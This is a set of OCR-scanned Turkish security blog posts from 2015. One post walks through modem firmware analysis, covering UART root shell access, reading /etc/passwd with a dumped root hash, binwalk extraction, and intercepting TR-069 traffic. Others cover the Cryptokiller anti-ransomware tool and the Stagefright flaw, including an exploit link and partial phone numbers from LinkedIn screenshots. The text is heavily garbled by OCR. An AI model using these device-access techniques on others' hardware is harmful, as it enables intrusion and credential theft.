Bu zararl1 yazilimda oldugu gibi siz de kod gizleme yonteminden (obfuscation) faydalanan zararli yazilimlari analiz etmek istediginizde
benzer sekilde bayt kodu {izerinden ilerlemeyi alternatif bir yol olarak degerlendirebilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Donanim Yazilimi Analizinin Onemi

Source: https://www.mertsarica.com/donanim-yazilimi-analizinin-onemi/
By M.S on October 1st, 2015

Her siber giivenlik konferansinda gergeklestirdigim sunumumdan sonra oldugu gibi yine gelenegi bozmayarak, 2014 yilinda IstSec ve
gectigimiz Eyliil ayinda Hacktrick siber giivenlik konferanslarinda gergeklestirdigim donanim yazilimi (bellenim / firmware) analizi
sunumumdan sonra sunuma katilamayanlar i¢in sunumu 6zetleyen bir blog yazisi yazmaya karar verdim.

Nesnelerin interneti (IoT) dedigimiz kavram hayatimiza girdi gireli, evimizde internete baglanan birgok cihaz oldugunu gorebiliyoruz.
Bunlar arasinda uydu alicilari, ip kameralari, cep telefonlarini, raspberry pi gibi mini bilgisayarlar: en ¢ok rastlanan nesneler arasinda
sayabiliriz. Hacktrick sunumunda, evinde 7/24 ¢alisan Raspberry Pi, Beagle Bone gibi mini bilgisayar1 olanlar el kaldirsin dedigimde,
havaya kalkan ellerin sayisinin bekledigimden fazla oldugunu sdyleyebilirim. Durum bdyle olunca da IoTler, akilli cihazlar ve benzerleri,
hayatimiza getirdikleri kolayliklarin yaninda giivenlik risklerini de beraberinde getiriyorlar dersek pek yanilmayiz.

Aslinda evlerimize soktugumuz cihazlar akillandik¢a, casus olma potansiyeline de sahip olmaya basladilar. Hareketle kontrol edilen
kamerali, akilli televizyonunuz hacklendiginde, basiniza gelebilecekleri bir diisliniin, sevimsiz dyle degil mi ? :) Aslinda haberlere
baktigimizda bu sdylediklerimin ¢ok da uzak bir ihtimal olmadigini goriiyoruz. Agustos ayinda Samsungun akilli buzdolabinin
hacklenerek Gmail kullanici adi ve sifre bilgilerinin ¢alinabildigi ortaya ¢ikt1.

Bu tiir cihazlarin hacklenebilmesi, modern isletim sistemlerine (Windows, Linux vs.) kiyasla daha kolay oluyor c¢iinkii bu cihazlar
cogunlukla diigiik donanimlarla calisiyorlar. Diigiik donanim dedigimizde de, ram, islemci ve igletim sistemi agisindan zayif/kisith
olan bu cihazlar {izerinde 6rnegin Address Space Layout Randomization (ASLR), data execution prevention (DEP) gibi istismari
engelleyici kontroller bulunamayabiliyor. Donanim yazilimi gelistiricileri, modern igletim sistemi gelistiricileri gibi glivenlige 6n planda
tutmadiklari i¢in de gogunlukla cihazlar {izerinde yer alan konfigiirasyonlar 6rnegin modemlerde oldugu gibi zayif ve istismara agik
olabiliyor.

Bu cihazlarin giivenligi istenilen seviyelerde olmadig: siirece, giivenlik uzmanlar1 ve son kullanicilar olarak, ev agimizda yer alan bu
cihazlarin donanim yazilimlarini analiz ederek giivenlik zafiyetlerini tespit etmek, hem merakimizi gidermek i¢in hem de bu cihazlar
giivenli bir sekilde kullanmak isteyen bizler i¢in bir gereksinim haline gelebiliyor.

Ormnegin elimizde internet servis saglayicisi tarafindan bize kampanya dahilinde hediye edilmis bir modem var ve bu modeme yénetici
arayiiziinden baglanip, modem {izerinde tanimli kullanicilar goriintiilemek istiyoruz. Neden bunu istiyoruz ¢iinkii modemler tizerinde
kimi zaman varsayilan yonetici yetkisine sahip hesaplar olabiliyor veya internet servis saglayicisi uzaktan destek amaciyla kolay tahmin
edilebilir parolaya sahip kullanici hesaplarini modemlere tanimlayabiliyorlar. Varsayilan hesaplar disinda modemin yonetici arayiiziine
girig yaptigimizda géremedigimiz ancak ilgili sayfay1 direk ¢agirdigimizda ulagabilecegimiz ve modem iizerindeki 6zel ayarlar1 (TR-069
yonetim protokolii ayarlar1 gibi) degistirmemizi saglayan gizli sayfalar olup olmadigini da kontrol etmek istiyoruz. Bu sorulara yanit
bulmak i¢in modem ve modemin donanim yazilimi iizerinde gesitli kontroller gerceklestirebiliriz.

Gizli yonetici hesaplarini bulmak i¢in yapacagimiz ilk is, modemin telnet servisine baglandiktan sonra cat /etc/passwd komutu yazarak
mevcut hesaplar1 kontrol etmek olabilir ancak isler her zaman diisiindiigimiiz kadar kolay olmayabilir. Birincisi, yonetim paneline
erismek i¢in kullandigimiz kullanict ad1 ve sifrenin telnet servisine erismek i¢in yetkisi olmayabilir veya telnet servisi (telnetd) modem
tizerinde acik/yiiklli olmayabilir.
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C\Windows\system32\cmd.exe

IRT-286v4 login: admin

Password:

Login incorrect

RT—-286v4 login:

Password:

lLogin incorrect

RT-286v4 login: admin

Password:

iLogin incorrect

Connection to host lost.

C:sUsers\Mert>

Boyle bir durumda yapmamiz gereken bir tornavida seti alarak modemi agmak ve tizerinde UARTseri baglanti noktasi aramak olabilir.
Sansliysak 4 PIN'den olusan bu baglanti noktasini ¢cok gegmeden tespit edebiliriz.
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https://en.wikipedia.org/wiki/Universal_asynchronous_receiver/transmitter
https://tr.wikipedia.org/wiki/Seri_port

Tabii bu seri baglanti noktasi iizerinden modem ile iletigim kurabilmek i¢in USB - TTL UART CP2104 cevirici gibi bir aygita ihtiyac
duyacagiz. Aygiti baglamak icin dncelikle o dort pinden hangisi veri almak (RX), hangisi veri gondermek (TX) ve hangisi topraklama
(GND) i¢in kullaniltyor onu bilmemiz gerekiyor. Siireklilik testi sayesinde Dijital Avometre / Multimetre'de siyah ucu topraga (isaretli
bir kutup), kirmizi ucu ise pinlere sirasiyla dokundurdugumuzda bir ses duyuyorsak o zaman bu pinin toprak (GND) pini oldugunu
anlayabiliriz. Ardindan RX, TX pinlerini ve baud oranini deneme yanilma yolu ile SecureCRT veya Putty ile tespit ederek komut satirina
erisim saglayabiliriz.

il ¥ i ; 2R | ,,"_’.a.i-
BB Lae S0P =
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.FI|E Edit View Options Transfer Script Tools Window Help
Q%JEDJ@- 1ost <Alt+R F: _5!5_% ﬁ"%? L7

“ serial-com6 %

serial-comé - SecureCRT

Copyright (C) 1998-2007 Erik Andersen, Rob Landley, Denys vlasenko
and others. Licensed under GPLVZ.
See source distribution for full notice.

usage: busybox [function] [arguments]...
or: function [arguments]...

BLJS%/BUX is a multi-call binary that combines many common unix
utilities into a single executable. Most ﬁeup'le will create a
1ink to busybox for each function they wish to use and BusyBox
will act 'I'ize whatever it was invoked as!

currently defined functions:

, [[, ash, cat, chmod, cp, date, dhcprelay, dmesg, echo,
false, free, halt, hostname, httEd, ifconfig, init, insmod,
kill, klogd, login, 1s, lsmod, mkdir, modprobe, mount,
pidof, ping, poweroff, ps, reboot, rm, rmmod, route, sh,
sleep, telnetd, test, tftp, true, udhcpc, udhcpd, umount,
vconfig, wget

# cat passwd

root:5Uudstto?E. IE:0:0:Admin: /tmp: /bin/sh
noﬁody: :99:99:nobody: /tmp: /bin/false#

#

Ready

# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref use Iface
192.168.2.0 fr 255.255.255.0 u 0 0 0 bro.1
127.0.0.0 o 255.0.0.0 u 0 0 0 1o
# 1s -al
drwxr-xr-x 20 0 0 Jan 1 00:00 socks
drwxr-xr-x 20 0 0 Jan 1 00:00 tmp
drwxr-xr-x 3 0 0 0 Jan 1 00:01 run
drwxr-xr-x 3 0 0 0 Jan 1 00:00 1ib
drwxr-xr-x 20 0 0 Jan 1 00:00 fyi
drwxr-xr-x 20 0 0 Jan 1 00:00 asd
drwxr-xr-x 20 0 0 Jan 1 00:00 cache
drwxr-xr-x 20 0 0 Jan 1 00:00 Tog
drwxr-xr-x 20 0 0 Jan 1 00:00 mnt
drwxr-xr-x 30 0 0 Jan 1 00:00 tr069
-rW-r—--r-- 10 0 78 Jan 1 00:00 passwd
Trwxrwxrwx 10 0 29 Jan 1 00:00
-rW-r--r-- 10 0 19798 Jan 1 00:00 config.xml
Trwxrwxrwx 10 0 21 Jan 1 00:00 lang.js -> /webs/lang/lang_tr.js
—FWXr-Xr-x 10 0 7 Jan 1 00:00 dproxy.conf
-rwW-r--r-- 10 0 20 Jan 1 00:00 resolv.conf
-rwW-r--r-- 10 0 1524 Jan 1 00:00 wlan.conf

10 0 319 Jan 1 00:00 dnsmasa_dhcps.conf

10 0 316 Jan 1 00:00 hostapd.conf.wl0
—FWXr-Xr-x 10 0 15 Jan 1 00:01 httpd.conf
-rwW-r--r-- 10 0 115 Jan 1 00:01 invalid_host.html
-rwW-r--r-- 10 0 12 Jan 1 00:01 dnsmasq.eco0l46
drwxr-xr-x 13 0 0 141 pec 29 2011 ..
drwxr-xr-x 12 O 0 0 Jan 1 00:01

adsT_phy. Ink ->= /etc/ads1/ads1_phy_ANNEXA.bin

Bir diger ornekte ise modemin yonetici arayiiziindeki gizli sayfalar tespit etmek istiyoruz. Bunun i¢in ilk is, donanim yazilimini
(bellenim) iireticinin veya internet servis saglayicisinin web sitesinden indirmek olacaktir. Ardindan strings aracini bu donanim yazilimi
iizerinde galistirabiliriz. Eger aracin ¢iktis1 asagidaki 6rnekte oldugu gibi sayica az html sayfa ad1 veriyorsa ancak biz arayiizde ¢ok daha
fazla sayida html sayfa oldugunu biliyorsak, binwalk gibi farkli bir arag ile analizi bir adim ileriye tasiyabiliriz.

plications Places t

Wed Sep 10, 12:36 PM

root@kali: ~/Desktop

File Edit View Search Terminal Help
:~/Desktop# string
ant -t

> muUst

Donanim yazilimi analizi i¢in bi¢ilmis kaftan olan binwalk arac1 ile donanim yazilimini agtiktan (extract) sonra, ¢ikan dosyalar iizerinde
strings komutunu ¢alistirdigimizda ¢ok daha fazla sayida html dosya oldugunu gérebiliriz.
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https://en.wikipedia.org/wiki/Strings_(Unix)
http://binwalk.org/

FriJun 20, 3:38 PM

root@kali: ~/Desktop

B root@kali: -/Desktop

Fri Jun 20, 3:47 PM

E] root@kali: -/Desktop




Fri Jun 20, 3:48 PM

root@kali: ~/Desktop

rpCWMP.html dosyasinin adindan da anlasilacagi tizere TR-069 yonetim protokolii ile ilgili ayarlarin yapildig: sayfa oldugunu hemen
anlayabiliriz. Sayfayi ¢agirdigimiz zaman gelen internet servis saglayicisinin Auto Configuration Servers (ACS) adresini, Charles Proxy
aracinin sistem tizerinde dinledigi adresi ve baglanti noktas1 (port) ile degistirip, Charles'a gelen istekleri de internet servis saglayicisinin
ACS adresine yonlendirdigimizde, bu gizli sayfa sayesinde basariyla ACS ile modem arasinda ger¢eklesen trafigi izleyebiliriz.

€ ¥ | @19216811/rpCWMP.htr B- P

|2 Most Visited {_| Getting Started

CWMP Setup

cwmp 9 Activated ) Deactivated
Login ACS
URL ® http://hdmacs-tro69. com.tr/ocwmpWeb/CPEMgt
User Name -P-660N-T1A-
Password

Connection Request

Path ftr069

Port 7547

UserName -P-660N-T1A-
Password

Periodic Inform

Periodic Inform @ Activated ) Deactivated
Interval(s) 82400

| Apply | | cancel |
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http://www.charlesproxy.com/

2, Port Forwarding Settings

& P @ 19216811/pCWMP.html ¢ P B &1
|8 Most Visited | | Getting Started
CWMP Setup
CWMP 9 Activated | Deactivated
Login ACS
URL http://192.168.1.34/cwmpWeb/CPEMgt
User Name - P-G60N-T1A « M- —
Password
Connection Request
Path /r069
Port 7547
UserName W - P-G60N-T LA- CM - S———
Password
Periodic Inform
Periodic Inform @ Activated () Deactivated
Interval(s) 5
Cagely]  [ancel ]
File Edit View Proxy Tools Window Help
(]
FEEMETA eSS/ VIXE
Structure |Sequence| Overview ‘Summaryl Chart|
MName Value
----- Host socket://hdmacs-tr089.5 = com.trn7547
----- Path /
----- Motes
[_]Req 2t ‘

Forward local TCP and UDP ports to remote servers,

Enable Port Forwarding

Start Port  End Port  Remote Host

7547 hdmacs-trl69.5 .com.tr
80 hdmacs-trl69.4 .com.tr

Type
TCP

Remote Port

1547
80

OK

] [ Cancel

- Compression

21



mnmommmmm “Hep
wwwwmﬁr@@wmm

“ m L]

Peki donanim yazilimini analiz ettikten sonra Charlie Miller ile Chris Valasek'in Cherokee Jeep'i hacklerken yaptiklari gibi donanim
yazilimini manipiile edip (patching) cihaza yiliklemek istersek, donanim yazilimini tekrar paketlemek i¢in faydalabilecegimiz Firmware
Modification Kit (FMK) aracindan da kisaca bahsetmek gerekir. Ilgili donanim yazilimmin dosya sisteminde yer alan dosyalarini,
FMK'da yer alan extract-firmware.sh betigi ile diske agtiktan ve degisiklikler yaptiktan sonra yine ayni aragta yer alan build-firmware.sh
betigi ile paketlememiz miimkiin. Bu sayede hedef cihazin imza kontrolii yapmadan donanim yazilimini giincellemeye izin verip
vermedigini de kolaylikla kontrol edebiliriz.

llr'mwm-' R

€& & C # [ ilmatics.com/Remote%20Car%20Hacking.pdf gt ] %% =

iocupdate -c 4 -p usr/share/V850/cmcioc.bin

The help text for ‘iocupdate’ validates our initial analysis by describing that it is, indeed, used for sending
a binary file to the 10C from the head unit.

$C: a utility to send a binary file from the host processor to the I0C
[options] <binary file name>

Options:

=-¢ <n> Channel number of IPC to send file over (default is /dev/ipc/chd)
-p Show progress

=z Reset when done

- Simulate update

Examples:

/bin/someFile.bin (will default to using /dew/ipec/chd)

=-¢? -r /bin/someFile.bin tuu.l reset when done)

-sp late update with prog notifi ion)

After we figured out how to reprogram the V850 package, we needed to reverse engineer and modify
the 10C application firmware to add code to accept commands and forward them to the CAN bus. The

most important part was reverse engineering the 10C application firmware because we knew it would
reveal the code necessary to send and ive CAN ges from the bus. Luckily, we see that the I10C
can be re-flashed with firmware and that(no cryptographic signatures are used to verify the firmware s
legitimate.
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https://en.wikipedia.org/wiki/Charlie_Miller_(security_researcher)
http://chris.illmatics.com/about.html
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Applications ’ Mon Sep 15,
root@kali: ~

File Edit View Search Terminal Help

File Edit WView Search Terminal Help

bin dev Proc amdisk root shin sys

Lan
lang

in.html
irmmain.html
.html

o Linu
name :

tmp usr

2 .html

var

upnp
vlan
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Applications Places Mon Sep 15,
root@kali: ~/fmk/rootfs

File Edit View Search Terminal Help

ral minut

Applications Places Mon Sep 15,

root@kali: ~/fmk/rootfs

File Edit WView Search Terminal Help

Statik olarak degil de dinamik olarak donanim yaziliminda yer alan programlar: teker teker analiz etmek istiyoruz dersek de o zaman,
QEMU o6ykiiniiciisii (emulator) ve IDA Pro araci sayesinde asagidaki ekran goriintiisiilerinde yer aldig1 sekilde programlari (6rnek:
login) detayl1 bir sekilde analiz edebiliriz.
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http://wiki.qemu.org/Main_Page
https://www.hex-rays.com/products/ida/

Applications Places Sun Sep 14, 8:30 AM

root@kali: / fsquashfs-root/webs/cgi-bin

File Edit View Search Terminal Help

uashfs-root/ ‘cgi-bin# 1s -al

cert

cert_load

loader
ogin

dynamically 1in

amically 1i

MIPS32 1 (S¥sSV), dynamically 11

‘cgi-bin# ||

Applications Places

File Edit WView Search Terminal Help
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4 Select a debupger. |E|
Available debuggers
) Mo debugger
(%) Remote GDE debugger
() Trace replayer

Default debuggers (autoselected For new databases):
MONE

[ set as default debugger

[ Ok ] [ Cancel ]
4 Debug application setup: gdb rg|
MOTE: all paths must be valid on the remaote computer
Application Ci\Documents and SettingstadministratoriDeskiopilogin o
Input: file | Ci\Documents and SettingstadministratoriDeskbopilogin VI E]
Parameters | vi
Hostrame | 192.168.114.253 v| Pot [1z34 w

[] 5ave network settings as default

[o]:4 H Cancel ][ Help

% DA - C:\Documents and Sertings\Administrator\Deskiop\iogin. idb (login)

Fle Edt Jump Search View Debugger Options Windows Help

»O0 ¥ > TP Doy 8§ 300a Q5 &
Lbrary function | Dats [l Reguls Function Il Unexplored [l Instruction  External symbal
Db Ve a L)) Structures £l Erums

7] IDA View-PC <N Exports 15t Gerieral reguters D& x
PR CH oo -
DONDUECE loc_AOBECS: ZERD 00000000 & 1 H0RY :dword_0
BONBRECE 1a 419, unk_7679ECCH AT FFFFFFF8 «
BONBOECE jalr §t9 ; getpia UD  OBRINOAD & MEMORY : 80414080
0hO0EDD_no U1 ODNTADAN A HEHORY : DN 1H 0N,
* AD  OBATNBAD % HEMORY: BON 14043
BOSROEDE moue a0, $s2 s
BURDDEDE la §a1,
BOROBEED 1a $t9, ChlGetVariable *

OONRREEN addiw  $a1, (alser - DxaDOOOD) 0
BOROOEER move §s7, Svo
OOSBOEEC jalr  $t9 ; CGIGetVariable
AONBDEFD moue §s0, $t9 . =
% move $s1, Sun i <GDB remobe process
DONROEFS beqz  SuB, loc_S0OFEN
BONDBEFT 1w S0P, B1E gy peMEHORY : 00N 14040
-byte Ox6D ®
byte Bx65 § ¢
.byte Bx72 &
byte Bx7n ® ¢

-byte B Thveads 08 x
.byte

1 jable
“byte 5 | - exnpOOBO) ® “password e T
o ¢ S—
byte []
00400F1C beqz  §u0, loc_h0oFAh
DOLOOF20 1w $gp, Bx1EB+var 1CE(§sp)

(=

100.00% (€52,1729) (547,201} 00000EF4 00400I74: maintlld

Cok daha fazlasini 6grenmek ve uygulamak istiyorum diyenleriniz i¢in ise Abusing the Internet of Things: Blackouts, Freakouts, and
Stakeouts kitabina bir gbz atmalarini tavsiye edebilirim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Cryptokiller Araci

Source: https://www.mertsarica.com/cryptokiller-araci/
By M.S on September 8th, 2015

Gectigimiz haftalarda, kullanicilarin ve kurumlarin oldukca basini agritan Cryptolocker zararli yazilimi tizerinde g¢alisirken, igletim
sistemine Cryptolocker zararli yaziliminin bulastiini tespit edip, islemi (process) durduran Cryptokiller adinda bir ara¢ hazirladim.

Windows 7 Enterprise SP1 (x86)'de test ettigim bu arac1 5 farkli Cryptolocker zararli yazilimi lizerinde test ettikten sonra yeni bir salgin
baslamadan 6nce herkesin kullanimina sunma karart aldim.

Ilerleyen zamanlarda bu arac1 kaynak kodu ile birlikte burada yayinlayacagim. Bu sayede araci ihtiyaclarimiza gore iyilestirme/gelistirme
imkaniniz olacaktir.

Aracin Kisitlari:
* Cryptokiller araci, Cryptolocker zararli yazilimi sisteme bulagsmadan 6nce sistem {izerinde ¢alistyor olmasi gerekmektedir.
¢ Cryptolocker' tespit etmek igin sistem iizerinde en az bir dosyanin Cryptolocker tarafindan sifrelenmesi gerekmektedir.
e Aracin yonetici yetkisi ile ¢caligtirilmasi gerekmektedir.

* 32 bit Windows isletim sistemi {izerinde ¢aligmaktadir.
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http://www.amazon.com/Abusing-Internet-Things-Blackouts-Freakouts/dp/1491902337/ref=sr_1_1?ie=UTF8&qid=1443447284&sr=8-1&keywords=abusing+the+internet+of+things
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https://www.mertsarica.com/cryptokiller-araci/
https://www.mertsarica.com/cryptokiller-araci/
https://eksisozluk.com/cryptolocker--4068878

¢ Sistem iizerinde Python 2.7 ve Winappdbg modiiliiniin yiiklii olmasi gerekmektedir.
Arac1 "hidden" parametresi ile c¢alistirdiginiz taktirde (cryptokiller.exe hidden) GUI olmadan galisabilmekte ve gergeklestirdigi
islemlerlerle ilgili bilgileri C:\Cryptokiller klasorii altina kayit etmektedir.
Arag ile ilgili gelismelerden haberdar olmak icin https://www.mertsarica.com/cryptokiller adresini ziyaret edebilirsiniz.

Uyart: Crytokiller, POC olarak gelistirdigim bir aractir bu nedenle hatalari/eksikleri olabilir. Araci prototip olarak diigiinmeli ve bunu
g6z onilinde bulundurarak kullanmanizi Sneririm.

Indir (Windows 7 Enterprise SP1 x86'da test edilmistir.)
Giincelleme (19.11.2015): Cryptokiller aracinin kaynak kodu yayinlanmstir.

ENGLISH

While I was working on a Cryptolocker malware that targeted Turkish users, I decided to create a POC tool called Cryptokiller (tested
on Windows 7 Enterprise SP1 x86) which is able to detect and stop the infection and also kills the infected process. I tested it on 5
different Cryptolocker malwares.

I will share the source code of Cryptokiller soon so you will be able to modify it for your needs.

Limitations:
* Cryptokiller must be running on the operating system before the infection.
* Cryptokiller is able to detect & kill the Cryptolocker process after at least one file is encrypted by Cryptolocker.
¢ It must be run must under an account with administrator privileges.
¢ Supports only 32 bit Windows 7 at the moment.

e Python 2.7 and Winappdbg module must be installed on the system.

You can run Cryptokiller without GUI by running it with "hidden" parameter. (cryptokiller.exe hidden). You will find the log file inside
C:\Cryptokiller folder.

Warning: Cryptokiller is POC tool. It may have bugs/issues so keep in mind.
Download (Tested on Windows 7 Enterprise SP1 x86)
Update (19.11.2015):Source code of Cryptokiller tool released.

POC Video: Cryptokiller vs 5 Cryptolocker Malwares

Android Stagefright Zafiyeti

Source: https://www.mertsarica.com/android-stagefright-zafiyeti/
By M.S on September 1st, 2015

Linkedin, Twitter gibi sosyal aglari ve medyay! yakindan takip eden biri olarak son zamanlarda Linked'in iizerinden is odakli
Whatsapp grubu kurma modas1 oldukga dikkatimi ¢ekiyor. Bu modada, bir kisi Whatsapp tizerinde bir grup agiyor ve bunu Linkedin
iizerinde duyuruyor ardindan ilgilenen kisiler bu duyurunun altina cep telefonu numaralarini yazarak bu gruba dahil olmak istediklerini
sOyliiyorlar. Grubun kurucusu olan kisi de ardindan bu cep telefonu numaralarini teker teker gruba eklemeye basliyor.

27


https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi
http://sourceforge.net/projects/winappdbg/files/WinAppDbg/1.5/winappdbg-1.5.win32.msi/download
https://www.mertsarica.com/codes/cryptokiller_x86.zip
https://github.com/mertsarica/hack4career/blob/master/codes/cryptokiller.py
https://en.wikipedia.org/wiki/CryptoLocker
https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi
http://sourceforge.net/projects/winappdbg/files/WinAppDbg/1.5/winappdbg-1.5.win32.msi/download
https://www.mertsarica.com/codes/cryptokiller_x86.zip
https://github.com/mertsarica/hack4career/blob/master/codes/cryptokiller.py
https://www.mertsarica.com/android-stagefright-zafiyeti/
https://www.mertsarica.com/android-stagefright-zafiyeti/

2 @ 7 .al 18%Q 19:07

T E BN EN 29

B Insan Kaynaklari Yoneticisi

Insan Kaynaklari meslektaglarimizdan olusan
Whatsapp grubumuza katilmak isterseniz,
iletisim numaranizi benimle paylasabilirsiniz. lyi
calismalar.

18 Begenme P 47 Yorum <(ee——

I i . ! I L

Eski yorumlari goruntile ...

& e 1 =0: 29
Insan Kaynaklari Yoneticisi [l © e

Suan ekibimiz 46 kisiden olusuyor. Meslektaslarimiza
faydali olacagini distniuyorum.

E N B - || _. 2 g
= Insan Kaynaklari Yoneticisi
|

28



2 @ % .al 19%8 19:05

g L 149
Human Resources Manager -

Bey Merhaba, bende gruba katilmak isterim.

SUPERVISOR /

Merhaba 0538

IEE #EE 1 g
Insan Kaynaklari Sorumlusu -

Merhaba 0541

T 19
Social Media Manager at |

+90536

“_lll-;.-ll ‘]g
|

GRUBA KATILMAK ISTERIM 0 535

29



B Q@ T .l 16%8 19:17

ol

R E e
Store IT System & Network

i

17 s

Ik Alaninda Bende Kendimi Gelistirmek Istiyorum Tabi
Grup lllaki Ik Calisani Olarak Zorunlu Ozel Degilse 0530

& Risk Uzmani

Benide ekler miniz

B .

Calisma lliskileri ve |

5333

Merhabalar, 0506

Human Resources Manager- =

B insan Kaynaklari Yoneticisi ® |

11 s

10 s

Os

21 s

30



B @ F .l 16xL 19:12

NN 2 s
| Manager

ik 0532
) I B B B B 1s
| B Psikolog / Insan Kaynaklari
936
BNVl W _ N E _ "HE BN 1s
Musteri Temsilcisi / ' Bankasi
0542
_- | 1s
Master Trainer, HR - Group

lletisim caginin avantajlarini kulanmak, gayet mantikli
bir yontem ve bu faydali calismanin icinde yer almak
isterim. Group ik

0530

31



Sorun bunun neresinde diye soracak olursaniz birincisi Linkedin is odakli kullanilan bir sosyal ag ve burada ¢alistiginiz kurumdan,
pozisyonunuza kadar isiniz ve igyeriniz ile ilgili ¢esitli bilgiler paylasiyorsunuz. Kurumlar1t hacklemek isteyen art niyetli kisilerin,
istihbarat servislerinin, kurum g¢aligsanlarim1 hedef aldigini biliyoruz. En yakin drnek olarak Edward Snowden tarafindan sizdirilan
belgelerde, ABD istihbarat servisi NSA ile ingiliz siber istihbarat servisi GCHQ'nun, 2010 yilinda sim kart sifreleme anahtarlarmni
¢almak i¢in sim kart tireticisi Gemalto firmasinin ¢alisanlarinin e-posta ve Facebook hesaplarina sizdiklart anlagilmisti. 2015 yilinda
neler yaptiklarini hayal bile edememekle birlikte, istihbarat servisleri diginda art niyetli kisilerin de akilli telefonlar1 hatta ve hatta akill
saatleri bile hedef aldigini1 gériiyoruz.

Eskiden olsaydi, telefon numaranizi internette ve/veya herhangi bir ortamda paylastiginizda baginiza gelebilecek en kotii sey olsa olsa
gecenin koriinde sizi rahatsiz eden bir telefon sapig1 olurdu. Ancak bu ¢agda basiniza gelebilecek en kétii sey, telefonunuzu hackleyen
(Evil Pi baslikli yazimda zafiyet barindiran Android telefonlarin nasil istismar edilebilecegini simiile etmistim.) ve tiim kisisel verilerinizi
calan bir art niyetli kisi olabilir.

5 Agustos 2015 tarihinde gerceklestirilen Black Hat bilgi giivenligi konferansinda, Joshua Drake (@jduck) tarafindan 950 milyon
Android cihazi etkileyen bir zafiyetin detaylarina yer verildi. Bu zafiyeti istismar etmek (cep telefonunu/tableti hacklemek) i¢in hedef
kisinin cep telefonunu bilmek ve istismar kodu iceren bir multimedya mesaj veya mp4 formatina sahip bir video dosyasinin baglanti
adresini gdndermek yeterli oluyor.

Android isletim sistemi i¢in yamalar bildiginiz {izere Google tarafindan hemen yayinlansa da, telefonunuza indirilebilmeniz i¢in cihaz
iireticisi (misal Samsung) tarafindan giincelleme yaziliminin hazirlanmasi gerekiyor. Durum bdyle olunca da Google ilgili zafiyeti
ortadan kaldiran yamay1 zafiyetin tespitinden bir giin sonra yayinlasa bile iireticinin de elini ¢abuk tutmasi gerekiyor.

Her ne kadar Google ilgili yamay1 yayimlasa da bu defa da yamanin aslinda zafiyeti ortadan kaldirilmadigi Exodus firmasinin yaptigi
bir arastirma ile ortaya ¢ikti. En iyi ihtimalle Eyliil aymdan dnce bu yamay1 Android cihazimiza yiikleyemeyecegiz gibi goriiniiyor.

Peki elimizi kolumuzu baglayip bekleyecek miyiz ? Hayir. Ik olarak Android cihazimizin bu zafiyetten etkilenip etkilenmedigini
StageFright Detector araci ile 6grenebiliriz.
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Stagefright Detector

Testing CVE-2015-1538
Testing CVE-2015-1539
‘esting CVE-2015-3824
‘esting CVE-2015-3826
‘esting CVE-2015-3827
‘esting CVE-2015-3828
‘esting CVE-2015-3829

Vulnerable

Your device is affected by the
Stagefright vulnerability.
contact us




Ikinci olarak her ne kadar MMS, atak vektorlerinden sadece biri de olsa, en kolay istismar edilebilecegi icin buradan gelecek bir saldirty1
engellemek i¢in size gonderilen MMS'in Android cihaziniz tarafindan otomatik olarak almasini engellemek isteyebilirsiniz. (Bunu devre
dis1 biraksaniz bile, manuel olarak gelen MMS'i alip goriintiilediginiz taktirde cihazinizin hacklenebilecegini unutmayin!)

MMS'in otomatik almasi ve gosterilmesini devre dig1 birakmak i¢in asagidaki adimlari izleyebilirsiniz.

Android i¢in; Ayarlar -> Mesaj -> Multimedya mesajlar1 -> Otomatik al
Google Hangout i¢in; Hangout -> Ayarlar -> SMS -> MMS'leri otomatik al

Samsung kullanicis1 iseniz MMS'i devre dist birakmak icin Samsung tarafindan yaymlanan MMS control uygulamasini da
ylkleyebilirsiniz.

Yukaridaki adimlar bir yama gibi bu zafiyeti tamamiyle ortadan kaldirmayacag i¢in ve Google firmast Android 4.0 "Ice Cream
Sandwich" ile gelen ASLR (address space layout randomization) giivenlik 6nlemi sayesinde bu zafiyetin ¢ok sayida cihazda istismar
edilmesinin zor oldugunu sdylese de, yama ¢ikana kadar dikkatli olmakta fayda var.

Sonug itibariyle, akilli cihazlarda ortaya ¢ikan zafiyetleri istismar etmek i¢in kimi zaman sadece cep telefonu numarasinin yeterli olmasi,
kurumlara sizmak isteyen art niyetli kisilerin kurum ¢alisanlarini hedef almasi ile sonuglanabiliyor bu nedenle cep telefonu numaranizi
paylasirken bile temkinli olmakta fayda oldugunu asla unutmayin.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.
Giincelleme: 09.09.2015 tarihi ile cve-2015-1538 zafiyeti i¢in istismar kodu yayinlanmistir.
ENGLISH (Translated by Hiiseyin Fatih Akar | Twitter: @thehakar | E-Mail: hakar1@binghamton.edu)

As a person who is really interested in social networks, the trend of creating business-oriented Whatsapp groups on LinkedIn takes my
attention. In this trend, someone is creates a Whatsapp group and announces it on LinkedIn. Then other people drop a comment below
with their phone number, state that they want to join that group. Afterwards the creator of the group adds them to the group one by one.
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https://s3.amazonaws.com/zhafiles/Zimperium-Handset-Alliance/Samsung_KNOX_and_ZHA_ap_MMSCtrl.apk
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://github.com/jduck/cve-2015-1538-1/blob/master/Stagefright_CVE-2015-1538-1_Exploit.py
http://www.twitter.com/thehakar

2 @ 7 .al 18%Q 19:07

T E BN EN 29

B Insan Kaynaklari Yoneticisi

Insan Kaynaklari meslektaglarimizdan olusan
Whatsapp grubumuza katilmak isterseniz,
iletisim numaranizi benimle paylasabilirsiniz. lyi
calismalar.

18 Begenme P 47 Yorum <(ee——

I i . ! I L

Eski yorumlari goruntile ...

& e 1 =0: 29
Insan Kaynaklari Yoneticisi [l © e

Suan ekibimiz 46 kisiden olusuyor. Meslektaslarimiza
faydali olacagini distniuyorum.

E N B - || _. 2 g
= Insan Kaynaklari Yoneticisi
|

35



2 @ % .al 19%8 19:05

g L 149
Human Resources Manager -

Bey Merhaba, bende gruba katilmak isterim.

SUPERVISOR /

Merhaba 0538

IEE #EE 1 g
Insan Kaynaklari Sorumlusu -

Merhaba 0541

T 19
Social Media Manager at |

+90536

“_lll-;.-ll ‘]g
|

GRUBA KATILMAK ISTERIM 0 535

36



B Q@ T .l 16%8 19:17

ol

R E e
Store IT System & Network

i

17 s

Ik Alaninda Bende Kendimi Gelistirmek Istiyorum Tabi
Grup lllaki Ik Calisani Olarak Zorunlu Ozel Degilse 0530

& Risk Uzmani

